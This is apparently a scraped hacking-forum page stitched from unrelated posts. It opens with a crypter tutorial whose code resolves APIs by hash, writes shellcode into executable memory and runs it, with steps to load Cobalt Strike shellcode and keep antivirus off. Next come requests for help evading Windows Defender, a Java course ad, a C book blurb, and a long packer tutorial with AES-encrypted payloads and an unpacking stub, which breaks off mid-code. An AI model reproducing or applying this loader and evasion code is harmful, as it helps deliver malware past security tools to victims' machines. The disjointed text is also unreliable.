// lower the uppercase charchtar
char* LowercString;
LowercString = new char[OriginaLen + 1];
for (int i = 0; i < OriginaLen; i++)
{
LowercString[i] = (WCHAR)tolower(cString[i]);
}
LowercString[OriginaLen] = '\0';
printf("LowercString : %s \n", LowercString);
DWORD Result = Rotr32A(LowercString);
if(Result == ModuleHash)
{
return TRUE;
}
return FALSE;
}
HMODULE XssTutorialGetModuleHandle(DWORD moduleName)
{
PPEB pBEB = (PEB*)(__readgsqword(0x60));
PPEB_LDR_DATA pPebLDR = (PPEB_LDR_DATA)(pBEB->Ldr);
PLDR_DATA_TABLE_ENTRY pLdrTEntry = (PLDR_DATA_TABLE_ENTRY)(pPebLDR->InMemoryOrderModuleList.Flink);
while (pLdrTEntry)
{
if (pLdrTEntry->FullDllName.Length == NULL)
break;
else
{
if (XssCompareHashes(pLdrTEntry->FullDllName.Buffer, pLdrTEntry->FullDllName.Length, moduleName))
{
return (HMODULE)pLdrTEntry->Reserved2[0];
}
}
pLdrTEntry = *(PLDR_DATA_TABLE_ENTRY*)(pLdrTEntry);
}
return NULL;
}
C:Copy to clipboard
FARPROC XssTutorialGetGetProcAddress(HMODULE hModule, DWORD HashedfuncName)
{
// we do this to avoid casting at each time we use hmodule
PBYTE pImg = (PBYTE)hModule;
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)pImg;
PIMAGE_NT_HEADERS64 Nt_haders = (PIMAGE_NT_HEADERS64)(pImg + dos_header->e_lfanew);
PIMAGE_OPTIONAL_HEADER Img_OptionalHeader = (PIMAGE_OPTIONAL_HEADER)&Nt_haders->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImg + Img_OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// getting the functions name array pointer
PDWORD fNameArry = (PDWORD)(pImg + ImageExportDirectory->AddressOfNames);
// Gettings the functions address array pointer
PDWORD fAddrArray = (PDWORD)(pImg + ImageExportDirectory->AddressOfFunctions);
// Gettings the functions ordinal array pointer
PWORD fOrdinalArray = (PWORD)(pImg + ImageExportDirectory->AddressOfNameOrdinals);
for (DWORD i = 0; i < ImageExportDirectory->NumberOfFunctions; i++)
{
// Getting the name of the function
char* pFunctionName = (char*)(pImg + fNameArry[i]);
// Getting the address of the function through its ordinal
PVOID pFunctionAddress = (PVOID)(pImg + fAddrArray[fOrdinalArray[i]]);
// Searching for the function specified
DWORD Result = Rotr32A(pFunctionName);
if (HashedfuncName == Result)
{
printf("[-] found Function name : %s Function Address 0x%p\n", pFunctionName, pFunctionAddress);
return (FARPROC)(pFunctionAddress);
}
else
{
//printf("[-] not found Function name : %s Function Address 0x%p \n", pFunctionName );
}
}
return NULL;
}
As you can see in the Example above we remove any strings that belong to those
functions
An small attention here you can also rename the function's names as you want.
In the main function add the above code
C:Copy to clipboard
printf("[-] Starting ... ");
HMODULE replacement_ntdll = XssTutorialGetModuleHandle(Hashed_3);
fpHashed_1 fpNtAllocateVirtualMemory = (fpHashed_1)XssTutorialGetGetProcAddress(replacement_ntdll, Hashed_1);
fpHashed_2 fpNtWriteVirtualMemory = (fpHashed_2)XssTutorialGetGetProcAddress(replacement_ntdll, Hashed_2);
PVOID BaseAddres = NULL;
DWORD EncImageLen = sizeof(image);
DWORD OldProtect = NULL;
if (!NT_SUCCESS(fpNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddres, 0, &EncImageLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)))
{
printf("[-] Faild to allocate memory\n");
return -1;
}
if(!NT_SUCCESS(fpNtWriteVirtualMemory(GetCurrentProcess(), BaseAddres, image, EncImageLen, 0)))
{
printf("[-] Faild to Write to memory\n");
return -1;
}
vanilia done = (vanilia)BaseAddres;
done();
The code above executes the functions that we created after that he invokes the shellcode.
For sure you are asking where is the Encryption. we first need to test the connection before continuing.
Now Go to Cobalt strike Gui and create a raw stageless shellcode x64 then get back to the project and use HXD to convert the raw shellcode to Pure c Shellcode type and add the shellcode to a file name it encImage.h or header
Then compile your code and make sure your Antivirus Is OFF until now.
We will Turn the Antivirus On as soon as we finish the testing
Now after You compiled the Stub fire it up and you should see the connection in your CobaltStrike as shown in the image below.
Good some changes we will add soon Also will make the encryption and connect the GUI with the server crypter
But for now, The Tutorial is very large and make sure you read everything and understand it.
I will make one more PART to be 3 Parts, so this is PART 2 of PART 3
In this tutorial, we created our custom functions and invoked the Cobalt strike shell in PART 3 we will add the All futures and connect the GUI with the server side Crypter
Есть LoadPE и ехешник , который подгружается в памяти. С энтропией проблем нет, метод шифрования RC4. При размещении payload'a в секции .data ( unsigned char rawData[1] = {...} ) размер секции слишком большой, что некоторые АВ орут на это. Видел метод, который составлял дерево байтов, нужен был только seed, но эту реализацию немного не понял.
Также была идея разделить выходной payload на несколько частей, прописывать их в секциях билда и распаковывать поочередно. Но вес тоже довольно большой будет.
Учит ли кто-то сейчас чистый си?
Начал учить, хотел посмотреть какие-то курсы, но ничего не нашел в интернете
стоящего, стоит ли вообще учить си?
Так же смотрю в сторону плюсов и руби, интересует именно разработка нативных
программ
Название: Java с полного нуля + ДЗ + тесты. Part 1. Java core (2020)
Автор: Артём Воров
Описание:
Вся необходимая информация по Java Core в одном курсе + ДЗ! После прохождения курса бесплатное тестовое собеседование
Чему вы научитесь
Основы Java (типы данных, условные операторы, циклы, массивы, ввод данных)
Исключения (Exceptions)
Перечисления (Enum)
Коллекции (Collections)
Объектно-ориентированное программирование (ООП)
Дженерики (Generics)
Система контроля версий (Git, GitHub)
И многое другое
6 разделов • 27 лекций • Общая продолжительность 6 ч 46
Требования
Наличие ноутбука или стационарного компьютера
Описание
Введение в разработку и базовые возможности на языке Java, его синтаксис и
изучение основных технологий, таких как: Java syntax, Exceptions, Interfaces,
Input\Output, Collections, OOP. По окончанию данного этапа вы сможете
создавать простые программы, получите важные знания о построении алгоритмов и
их реализации на языке Java. После прохождения курса есть возможность пройти
бесплатное тестовое собеседование по скайпу.
Курс будет регулярно обновляться, добавиться ещё минимум 10 лекций по темам Exceptions, OOP, Input\Output.
Для кого этот курс:
Курс будет интересен тем, кто давно хотел попробовать себя в программировании.
Продажник
Скачать
Доброго времени суток! Пишу криптер. Подскажите как можно обойти windows defender, а именно тот момент когда ты загружаешь exe файл на компьютер и WinDef его сканирует. Может есть ссылка на статью с описанием того как это можно реализовать.
Буду благодарен за любую информацию.
![](/proxy.php?image=https%3A%2F%2Fm.media- amazon.com%2Fimages%2FI%2F81zqS1NuRjL.jpg&hash=44bbc9d7c9774060920bc6f4c943cedf)
Описание:
The world runs on code written in the C programming language, yet most schools begin the curriculum with Python or Java. Effective C bridges this gap and brings C into the modern era--covering the modern C17 Standard as well as potential C2x features. With the aid of this instant classic, you'll soon be writing professional, portable, and secure C programs to power robust systems and solve real-world problems.
Robert C. Seacord introduces C and the C Standard Library while addressing best practices, common errors, and open debates in the C community. Developed together with other C Standards committee experts, Effective C will teach you how to debug, test, and analyze C programs. You'll benefit from Seacord's concise explanations of C language constructs and behaviors, and from his 40 years of coding experience.
You'll learn:
• How to identify and handle undefined behavior in a C program
• The range and representations of integers and floating-point values
• How dynamic memory allocation works and how to use nonstandard functions
• How to use character encodings and types
• How to perform I/O with terminals and filesystems using C Standard streams and POSIX file descriptors
• How to understand the C compiler's translation phases and the role of the preprocessor
• How to test, debug, and analyze C programs
Effective C will teach you how to write professional, secure, and portable C code that will stand the test of time and help strengthen the foundation of the computing world.
Формат : PDF
Год : 2020
ISBN : 978-1-7185-0104-1
В этой статье я покажу вам как создать свой собственный упаковщик/протектор с нуля, используя только Visual Studio и C/C++ без необходимости использования ассемблера. Мы начнём с основ и рассмотрим более продвинутые моменты ближе к концу статьи. Это идеальный вариант для тех, кто хочет глубже понять Computer Science. Если вы готовы, то возьмите чашку чая и понеслась!
Вступление
Помните время, когда люди "развлекались", используя PE Detectors, такие как Pied, exeinfo, die, RDG и прочие, чтобы определить, какой упаковщик/протектор использовал разработчик?
В своё время упаковщики/протекторы были очень популярны и люди использовали их для уменьшения размера своих файлов и добавления защиты в свой код.
С развитием технологий и инструментов обратного проектирования протекторы стали слабыми и беззащитными, но война между добром и злом продолжалась...
Тем не менее упаковщики всё ещё могут быть полезны как в плане безопасности, так и в плане уменьшения размера файла, но это - очень трудная и сложная задача.
Она требует весьма глубоких знаний в области низкоуровневого программирования, поэтому лишь немногие люди могут её реализовать.
Эта статья покажет вам как создать свой собственный упаковщик, используя только VC++. И хорошая новость заключается в том, что знание Ассемблера не требуется!
Справка
Вы можете спросить: зачем мне нужен собственный упаковщик, если их сотни. Чтобы получить ответ на этот вопрос, вам нужно знать как они работают.
Упаковщик/протектор берёт исходный PE-файл, анализирует его и извлекает всю информацию. Затем он модифицирует файл, пересоздаёт его, используя свою собственную архитектуру. Он может упаковать/зашифровать все секции в одну новую и добавить свой код распаковщика/дешифратора в точку входа и когда файл запускается, он динамически распаковывает данные в память. Затем восстанавливает оригинальную точку входа и переходит на неё.
Код упаковщика не меняется и через некоторое время он становится лёгкой мишенью для интересующихся. Когда все имеют к этому коду доступ, то начинают упаковывать различные файлы и искать в них сигнатуры. Эта сигнатура становится меткой, которая может быть использована для создания распаковщика.
Например, если у вас есть файл, упакованный с помощью ASPack, вы можете легко распаковать его с помощью скрипта OllyDbg или скачать распаковщик типа ASPackDie - одним щелчком мыши!
Итак, цели создания нестандартных упаковщиков :
- Только у вас есть упаковщик и исключительно для вашей программы - это
усложняет анализ, потому что он уникален;
- Только у вас есть упаковщик, а злоумышленник не может загрузить его с сайта
для анализа функциональности;
- Вы задаёте способ восстановления и запуска программы, алгоритмы
сжатия/шифрования и т.д.
- Вы можете использовать дополнительные методы защиты от реверс-инжиниринга и
всё что захотите!
- Вы можете быстро изменять сигнатуры и структуры, когда текущая версия
программы подвергается атаке;
- Вы можете скрыть ценную информацию, которую злоумышленник может
использовать для своего анализа.
Мы не будем создавать упаковщик в общепринятом понимании. Вместо манипуляций с существующим PE-файлом будем создавать новый (как это делает линкер) на основе исходного файла.
Эта статья является второй частью статьи о создании шелл-кода.
Click to expand...
Подготовка среды разработки
1. Инструменты и ПО
- Visual Studio 2019
- VC++ Build Tools (C++ 17+ Support)
- CFF Explorer (PE
Viewer/Editor)
- HxD (Hex Editor)
2. Создание проектов
1. Открываем Visual Studio 2019
2. Создаём два пустых проекта C++
3. Имя первого pe_packer, имя второго unpacker_stub
4. Установите для pe_packer Тип конфигурации "Приложение (.exe) "
5. То же самое для unpacker_stub
6. Установите unpacker_stub независимым от CRT (C Runtime). Если вы не знаете
как, то это рассказано в первой части статьи, Также здесь unpacker_stub
является исполняемым файлом, поэтому нужно убрать опцию /NOENTRY.
7. Для обоих проектов - Конфигурацию x64 и Release.
8. Добавим в проекты два файла, один для упаковщика и один для распаковщика
со следующим кодом:
C++:Copy to clipboard
// packer.cpp (pe_packer project)
#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
int main(int argc, char* argv[])
{
if (argc != 3) return EXIT_FAILURE;
char* input_pe_file = argv[1];
char* output_pe_file = argv[2];
return EXIT_SUCCESS;
}
C++:Copy to clipboard
// unpacker.cpp (unpacker_stub project)
#include <Windows.h>
// Entrypoint
void func_unpack()
{
}
Итак, всё готово и можно приступать к разработке!
Для более быстрого тестирования упаковщика вы можете создать файл pe_packer_tester.bat со следующим содержимым:
"%cd%\pe_packer.exe" "%cd%\input_pe.exe"Click to expand...
01_pe_packer_tutorial_starter_kit_vs16_x64.zip
Упаковщик: Парсинг + Проверка исходного PE-файла
Ок, на данный момент у нас есть input_pe_file и output_pe_file, переданные пользователем нашему упаковщику. Первый шаг - проверить входной файл и убедиться, что это корректный PE-файл и что он соответствует формату.
Для проверки нам нужно его распарсить:
C++:Copy to clipboard
// Reading Input PE File
ifstream input_pe_file_reader(argv[1], ios::binary);
vector<uint8_t> input_pe_file_buffer(istreambuf_iterator<char>(input_pe_file_reader), {});
// Parsing Input PE File
PIMAGE_DOS_HEADER in_pe_dos_header = (PIMAGE_DOS_HEADER)input_pe_file_buffer.data();
PIMAGE_NT_HEADERS in_pe_nt_header = (PIMAGE_NT_HEADERS)(input_pe_file_buffer.data() + in_pe_dos_header->e_lfanew);
Затем проверяем следующие два поля:
C++:Copy to clipboard
bool isPE = in_pe_dos_header->e_magic == IMAGE_DOS_SIGNATURE;
bool is64 = in_pe_nt_header->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 &&
in_pe_nt_header->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
bool isDLL = in_pe_nt_header->FileHeader.Characteristics & IMAGE_FILE_DLL;
bool isNET = in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size != 0;
После добавления проверки и дополнительных действий код упаковщика должен выглядеть так:
C++:Copy to clipboard
// packer.cpp
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <vector>
using namespace std;
// Macros
#define BOOL_STR(b) b ? "true" : "false"
#define CONSOLE_COLOR_DEFAULT SetConsoleTextAttribute(hConsole, 0x09);
#define CONSOLE_COLOR_ERROR SetConsoleTextAttribute(hConsole, 0x0C);
int main(int argc, char* argv[])
{
// Setup Console
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTitle("Custom x64 PE Packer by H.M v1.0");
FlushConsoleInputBuffer(hConsole);
CONSOLE_COLOR_DEFAULT;
// Validate Arguments Count
if (argc != 3) return EXIT_FAILURE;
// User Inputs
char* input_pe_file = argv[1];
char* output_pe_file = argv[2];
// Reading Input PE File
ifstream input_pe_file_reader(argv[1], ios::binary);
vector<uint8_t> input_pe_file_buffer(istreambuf_iterator<char>(input_pe_file_reader), {});
// Parsing Input PE File
PIMAGE_DOS_HEADER in_pe_dos_header = (PIMAGE_DOS_HEADER)input_pe_file_buffer.data();
PIMAGE_NT_HEADERS in_pe_nt_header = (PIMAGE_NT_HEADERS)(input_pe_file_buffer.data() + in_pe_dos_header->e_lfanew);
// Validte PE Infromation
bool isPE = in_pe_dos_header->e_magic == IMAGE_DOS_SIGNATURE;
bool is64 = in_pe_nt_header->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 &&
in_pe_nt_header->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
bool isDLL = in_pe_nt_header->FileHeader.Characteristics & IMAGE_FILE_DLL;
bool isNET = in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size != 0;
// Log Validation Data
printf("[Validation] Is PE File : %s\n", BOOL_STR(isPE));
printf("[Validation] Is 64bit : %s\n", BOOL_STR(is64));
printf("[Validation] Is DLL : %s\n", BOOL_STR(isDLL));
printf("[Validation] Is COM or .Net : %s\n", BOOL_STR(isNET));
// Validate and Apply Action
if (!isPE)
{
CONSOLE_COLOR_ERROR;
printf("[Error] Input PE file is invalid. (Signature Mismatch)\n");
return EXIT_FAILURE;
}
if (!is64)
{
CONSOLE_COLOR_ERROR;
printf("[Error] This packer only supports x64 PE files.\n");
return EXIT_FAILURE;
}
if (isNET)
{
CONSOLE_COLOR_ERROR;
printf("[Error] This packer currently doesn't support .NET/COM assemblies.\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
Упаковщик: разработка PE-генератора
Хорошо, теперь, когда мы знаем, что наш входной PE-файл правильный, пришло время создать генератор пустого PE-файла. Для этого мы будем использовать WinAPI.
Создаём DOS-Header
Каждый PE-файл начинается с DOS-заголовка, который содержит сигнатуру или адрес таблицы релокаций, адрес в файле нового заголовка. Для создания DOS- заголовка нам нужно заполнить структуру IMAGE_DOS_HEADER следующими значениями:
C++:Copy to clipboard
// Initializing Dos Header
IMAGE_DOS_HEADER dos_h;
memset(&dos_h, NULL, sizeof IMAGE_DOS_HEADER);
dos_h.e_magic = IMAGE_DOS_SIGNATURE;
dos_h.e_cblp = 0x0090;
dos_h.e_cp = 0x0003;
dos_h.e_crlc = 0x0000;
dos_h.e_cparhdr = 0x0004;
dos_h.e_minalloc = 0x0000;
dos_h.e_maxalloc = 0xFFFF;
dos_h.e_ss = 0x0000;
dos_h.e_sp = 0x00B8;
dos_h.e_csum = 0x0000; // Checksum
dos_h.e_ip = 0x0000;
dos_h.e_cs = 0x0000;
dos_h.e_lfarlc = 0x0040;
dos_h.e_ovno = 0x0000;
dos_h.e_oemid = 0x0000;
dos_h.e_oeminfo = 0x0000;
dos_h.e_lfanew = 0x0040; // Address of the NT Header
Создаём NT-Header
После того, как мы создали DOS-Header, следующий заголовок должен быть NT-
Header, который содержит всю важную информацию о файле:
- Сигнатруа
- Файловый заголовок
- Опциональные заголовки
Они объединены в одной структуре IMAGE_NT_HEADERS и мы просто заполняем её следующими значениями:
C++:Copy to clipboard
// Initializing Nt Header
IMAGE_NT_HEADERS nt_h;
memset(&nt_h, NULL, sizeof IMAGE_NT_HEADERS);
nt_h.Signature = IMAGE_NT_SIGNATURE;
nt_h.FileHeader.Machine = IMAGE_FILE_MACHINE_AMD64;
nt_h.FileHeader.NumberOfSections = 2;
nt_h.FileHeader.TimeDateStamp = 0x00000000; // Must Update
nt_h.FileHeader.PointerToSymbolTable = 0x0;
nt_h.FileHeader.NumberOfSymbols = 0x0;
nt_h.FileHeader.SizeOfOptionalHeader = 0x00F0;
nt_h.FileHeader.Characteristics = 0x0022; // Must Update
nt_h.OptionalHeader.Magic = IMAGE_NT_OPTIONAL_HDR64_MAGIC;
nt_h.OptionalHeader.MajorLinkerVersion = 10;
nt_h.OptionalHeader.MinorLinkerVersion = 0x05;
nt_h.OptionalHeader.SizeOfCode = 0x00000200; // Must Update
nt_h.OptionalHeader.SizeOfInitializedData = 0x00000200; // Must Update
nt_h.OptionalHeader.SizeOfUninitializedData = 0x0;
nt_h.OptionalHeader.AddressOfEntryPoint = 0x00001000; // Must Update
nt_h.OptionalHeader.BaseOfCode = 0x00001000;
nt_h.OptionalHeader.ImageBase = 0x0000000140000000;
nt_h.OptionalHeader.SectionAlignment = 0x00001000;
nt_h.OptionalHeader.FileAlignment = 0x00000200;
nt_h.OptionalHeader.MajorOperatingSystemVersion = 0x0;
nt_h.OptionalHeader.MinorOperatingSystemVersion = 0x0;
nt_h.OptionalHeader.MajorImageVersion = 0x0006;
nt_h.OptionalHeader.MinorImageVersion = 0x0000;
nt_h.OptionalHeader.MajorSubsystemVersion = 0x0006;
nt_h.OptionalHeader.MinorSubsystemVersion = 0x0000;
nt_h.OptionalHeader.Win32VersionValue = 0x0;
nt_h.OptionalHeader.SizeOfImage = 0x00003000; // Must Update
nt_h.OptionalHeader.SizeOfHeaders = 0x00000200;
nt_h.OptionalHeader.CheckSum = 0xFFFFFFFF; // Must Update
nt_h.OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI;
nt_h.OptionalHeader.DllCharacteristics = 0x0120;
nt_h.OptionalHeader.SizeOfStackReserve = 0x0000000000100000;
nt_h.OptionalHeader.SizeOfStackCommit = 0x0000000000001000;
nt_h.OptionalHeader.SizeOfHeapReserve = 0x0000000000100000;
nt_h.OptionalHeader.SizeOfHeapCommit = 0x0000000000001000;
nt_h.OptionalHeader.LoaderFlags = 0x00000000;
nt_h.OptionalHeader.NumberOfRvaAndSizes = 0x00000010;
IMAGE_NT_HEADERS зависит от архитектуры процессора, которую вы установили в свойствах проекта. В это статье мы работаем с IMAGE_NT_HEADERS64.
Click to expand...
Создание секций
Теперь у нас есть DOS-Header и NT-Header. Единственное, что осталось - секции! Секции содержат свои данные в PE-файле, у них тоже есть заголовки. Поэтому нам нужно инициализировать заголовки, а затем записать данные по соответствующим смещениям. Для создания заголовков используем структуру IMAGE_SECTION_HEADER:
C++:Copy to clipboard
// Initializing Section [ Code ]
IMAGE_SECTION_HEADER c_sec;
memset(&c_sec, NULL, sizeof IMAGE_SECTION_HEADER);
c_sec.Name[0] = '[';
c_sec.Name[1] = ' ';
c_sec.Name[2] = 'H';
c_sec.Name[3] = '.';
c_sec.Name[4] = 'M';
c_sec.Name[5] = ' ';
c_sec.Name[6] = ']';
c_sec.Name[7] = 0x0;
c_sec.Misc.VirtualSize = 0x00001000; // Virtual Size
c_sec.VirtualAddress = 0x00001000; // Virtual Address
c_sec.SizeOfRawData = 0x00000600; // Raw Size
c_sec.PointerToRawData = 0x00000200; // Raw Address
c_sec.PointerToRelocations = 0x00000000; // Reloc Address
c_sec.PointerToLinenumbers = 0x00000000; // Line Numbers
c_sec.NumberOfRelocations = 0x00000000; // Reloc Numbers
c_sec.NumberOfLinenumbers = 0x00000000; // Line Numbers Number
c_sec.Characteristics = IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_MEM_READ |
IMAGE_SCN_CNT_CODE ;
// Initializing Section [ Data ]
IMAGE_SECTION_HEADER d_sec;
memset(&d_sec, NULL, sizeof IMAGE_SECTION_HEADER);
d_sec.Name[0] = '[';
d_sec.Name[1] = ' ';
d_sec.Name[2] = 'H';
d_sec.Name[3] = '.';
d_sec.Name[4] = 'M';
d_sec.Name[5] = ' ';
d_sec.Name[6] = ']';
d_sec.Name[7] = 0x0;
d_sec.Misc.VirtualSize = 0x00000200; // Virtual Size
d_sec.VirtualAddress = 0x00002000; // Virtual Address
d_sec.SizeOfRawData = 0x00000200; // Raw Size
d_sec.PointerToRawData = 0x00000800; // Raw Address
d_sec.PointerToRelocations = 0x00000000; // Reloc Address
d_sec.PointerToLinenumbers = 0x00000000; // Line Numbers
d_sec.NumberOfRelocations = 0x00000000; // Reloc Numbers
d_sec.NumberOfLinenumbers = 0x00000000; // Line Numbers Number
d_sec.Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ;
Создание PE-файла
Отлично! Теперь всё готово и мы можем записать PE-файл на диск, для этого используйте код:
C++:Copy to clipboard
// Create/Open PE File
fstream pe_writter;
pe_writter.open(output_pe_file, ios::binary | ios::out);
// Write DOS Header
pe_writter.write((char*)&dos_h, sizeof dos_h);
// Write NT Header
pe_writter.write((char*)&nt_h, sizeof nt_h);
// Write Headers of Sections
pe_writter.write((char*)&c_sec, sizeof c_sec);
pe_writter.write((char*)&d_sec, sizeof d_sec);
// Add Padding
while (pe_writter.tellp() != c_sec.PointerToRawData) pe_writter.put(0x0);
// Write Code Section
pe_writter.put(0xC3); // Empty PE Return Opcode
for (size_t i = 0; i < c_sec.SizeOfRawData - 1; i++) pe_writter.put(0x0);
// Write Data Section
for (size_t i = 0; i < d_sec.SizeOfRawData; i++) pe_writter.put(0x0);
// Close PE File
pe_writter.close();
Теперь запустите упаковщик и смотрите на магию!
02_pe_packer_tutorial_packer_chapter1_vs16_x64.zip
Упаковщик: основная часть
Ок, теперь у нас есть парсер и генератор, пришло время создать сам упаковщик. Для выполнения этой задачи будем используем fast-lzma2 для сжатия и AES-256 для шифрования. После запишем данные в файл.
Я выбрал fast-lzma2 для сжатия, потому что он быстрый и имеет хороший коэффициент сжатия. Вы можете использовать zlib или любую другую библиотеку.
Click to expand...
Добавление необходимых библиотек
1. Клонируйте fast-lzma2 и добавьте
в свой проект, используя статическую линковку;
2. Клонируйте tiny-aes-c и добавьте в
свой проект.
Также вы можете использовать tiny-aes-c, рассмотренный в первой части статьи.
Добавьте библиотечные заголовки:
C++:Copy to clipboard
// Encryption Library
extern "C"
{
#include "aes.h"
}
// Compression Library
#include "lzma2\fast-lzma2.h"
#pragma comment(lib, "lzma2\\fast-lzma2.lib")
Сжатие/кодирование данных
И, наконец, мы упаковываем и шифруем файл следующим образом:
C++:Copy to clipboard
// <----- Packing Data ( Main Implementation ) ----->
printf("[Information] Initializing AES Cryptor...\n");
struct AES_ctx ctx;
const unsigned char key[32] = {
0xD6, 0x23, 0xB8, 0xEF, 0x62, 0x26, 0xCE, 0xC3, 0xE2, 0x4C, 0x55, 0x12,
0x7D, 0xE8, 0x73, 0xE7, 0x83, 0x9C, 0x77, 0x6B, 0xB1, 0xA9, 0x3B, 0x57,
0xB2, 0x5F, 0xDB, 0xEA, 0x0D, 0xB6, 0x8E, 0xA2
};
const unsigned char iv[16] = {
0x18, 0x42, 0x31, 0x2D, 0xFC, 0xEF, 0xDA, 0xB6, 0xB9, 0x49, 0xF1, 0x0D,
0x03, 0x7E, 0x7E, 0xBD
};
AES_init_ctx_iv(&ctx, key, iv);
printf("[Information] Initializing Compressor...\n");
FL2_CCtx* cctx = FL2_createCCtxMt(8);
FL2_CCtx_setParameter(cctx, FL2_p_compressionLevel, 9);
FL2_CCtx_setParameter(cctx, FL2_p_dictionarySize, 1024);
vector<uint8_t> data_buffer;
data_buffer.resize(input_pe_file_buffer.size());
printf("[Information] Compressing Buffer...\n");
size_t original_size = input_pe_file_buffer.size();
size_t compressed_size = FL2_compressCCtx(cctx, data_buffer.data(), data_buffer.size(),
input_pe_file_buffer.data(), original_size, 9);
data_buffer.resize(compressed_size);
// Add Padding Before Encryption
for (size_t i = 0; i < 16; i++) data_buffer.insert(data_buffer.begin(), 0x0);
for (size_t i = 0; i < 16; i++) data_buffer.push_back(0x0);
printf("[Information] Encrypting Buffer...\n");
AES_CBC_encrypt_buffer(&ctx, data_buffer.data(), data_buffer.size());
// Log Compression Information
printf("[Information] Original PE Size : %ld bytes\n", input_pe_file_buffer.size());
printf("[Information] Packed PE Size : %ld bytes\n", data_buffer.size());
// Calculate Compression Ratio
float ratio =
(1.0f - ((float)data_buffer.size() / (float)input_pe_file_buffer.size())) * 100.f;
printf("[Information] Compression Ratio : %.2f%%\n", (roundf(ratio * 100.0f) * 0.01f));
Запись данных в файл и обновление выравниваний
Теперь нам нужно записать упакованные данные в созданный файл. Выполните следующие действия:
1. Добавьте эти макросы в глобальную область видимости:
C++:Copy to clipboard
#define file_alignment_size 512 // Default Hard Disk Block Size (0x200)
#define memory_alignment_size 4096 // Default Memory Page Size (0x1000)
2. Добавьте эти функции в глобальную область видимости:
C++:Copy to clipboard
inline DWORD _align(DWORD size, DWORD align, DWORD addr = 0)
{
if (!(size % align)) return addr + size;
return addr + (size / align + 1) * align;
}
Выравнивание - это очень важная операция при работе с PE-файлами, изучить её очень полезно!
3. Обновите код, используя выравнивание:
C++:Copy to clipboard
nt_h.OptionalHeader.SectionAlignment = memory_alignment_size;
nt_h.OptionalHeader.FileAlignment = file_alignment_size;
C++:Copy to clipboard
d_sec.Misc.VirtualSize = _align(data_buffer.size(), memory_alignment_size);
d_sec.VirtualAddress = c_sec.VirtualAddress + c_sec.Misc.VirtualSize;
d_sec.SizeOfRawData = _align(data_buffer.size(), file_alignment_size);
d_sec.PointerToRawData = c_sec.PointerToRawData + c_sec.SizeOfRawData;
C++:Copy to clipboard
// Write Data Section
size_t current_pos = pe_writter.tellp();
pe_writter.write((char*)data_buffer.data(), data_buffer.size());
while (pe_writter.tellp() != current_pos + d_sec.SizeOfRawData) pe_writter.put(0x0);
// Releasing And Finalizing
vector<uint8_t>().swap(input_pe_file_buffer);
vector<uint8_t>().swap(data_buffer);
CONSOLE_COLOR_SUCCSESS;
printf("[Information] PE File Packed Successfully.");
return EXIT_SUCCESS;
4. Соберите проект и убедитесь, что упаковщик создал корректный рабочий PE-
файл, содержащий упакованные данные.
Распаковщик: реализация стаба
Отлично! Если вы всё ещё со мной, пришло время создать код распаковщика и поместить его в файл проекта. Для этого создадим стаб. Откройте файл unpacker.cpp и добавьте fast-lzma2 и tiny-aes-c, установите значения ключей. Теперь нужно добавить некоторые переменные, которые мы сможем изменять, найдя их позже по значению:
C++:Copy to clipboard
volatile PVOID data_ptr = (void*)0xAABBCCDD;
volatile DWORD data_size = 0xEEFFAADD;
volatile DWORD actual_data_size = 0xA0B0C0D0;
Почему ключевое слово volatile? Просто... чтобы не дать компилятору оптимизировать их и одновременно сохранить оптимизацию, это беспроигрышный вариант. Код должен выглядеть так:
C++:Copy to clipboard
// unpacker.cpp (unpacker_stub project)
#include <Windows.h>
// Encryption Library
extern "C"
{
#include "aes.h"
}
// Compression Library
#include "lzma2\fast-lzma2.h"
// WARNING : If you faced error using pragma, try adding lib file in linker settings
#pragma comment(lib, "lzma2\\fast-lzma2.lib")
// Merge Data With Code
#pragma comment(linker, "/merge:.rdata=.text")
// Entrypoint
void func_unpack()
{
// Internal Data [ Signatures ]
volatile PVOID data_ptr = (void*)0xAABBCCDD;
volatile DWORD data_size = 0xEEFFAADD;
volatile DWORD actual_data_size = 0xA0B0C0D0;
volatile DWORD header_size = 0xF0E0D0A0;
// Initializing Resolvers
k32_init(); crt_init();
// Getting BaseAddress of Module
intptr_t imageBase = (intptr_t)GetModuleHandleA(0);
data_ptr = (void*)((intptr_t)data_ptr + imageBase);
// Initializing Cryptor
struct AES_ctx ctx;
const unsigned char key[32] = {
0xD6, 0x23, 0xB8, 0xEF, 0x62, 0x26, 0xCE, 0xC3, 0xE2, 0x4C, 0x55, 0x12,
0x7D, 0xE8, 0x73, 0xE7, 0x83, 0x9C, 0x77, 0x6B, 0xB1, 0xA9, 0x3B, 0x57,
0xB2, 0x5F, 0xDB, 0xEA, 0x0D, 0xB6, 0x8E, 0xA2
};
const unsigned char iv[16] = {
0x18, 0x42, 0x31, 0x2D, 0xFC, 0xEF, 0xDA, 0xB6, 0xB9, 0x49, 0xF1, 0x0D,
0x03, 0x7E, 0x7E, 0xBD
};
AES_init_ctx_iv(&ctx, key, iv);
// Casting PVOID to BYTE
uint8_t* data_ptr_byte = (uint8_t*)data_ptr;
// Decrypting Buffer
AES_CBC_decrypt_buffer(&ctx, data_ptr_byte, data_size);
// Allocating Code Buffer
uint8_t* code_buffer = (uint8_t*)malloc(actual_data_size);
// Decompressing Buffer
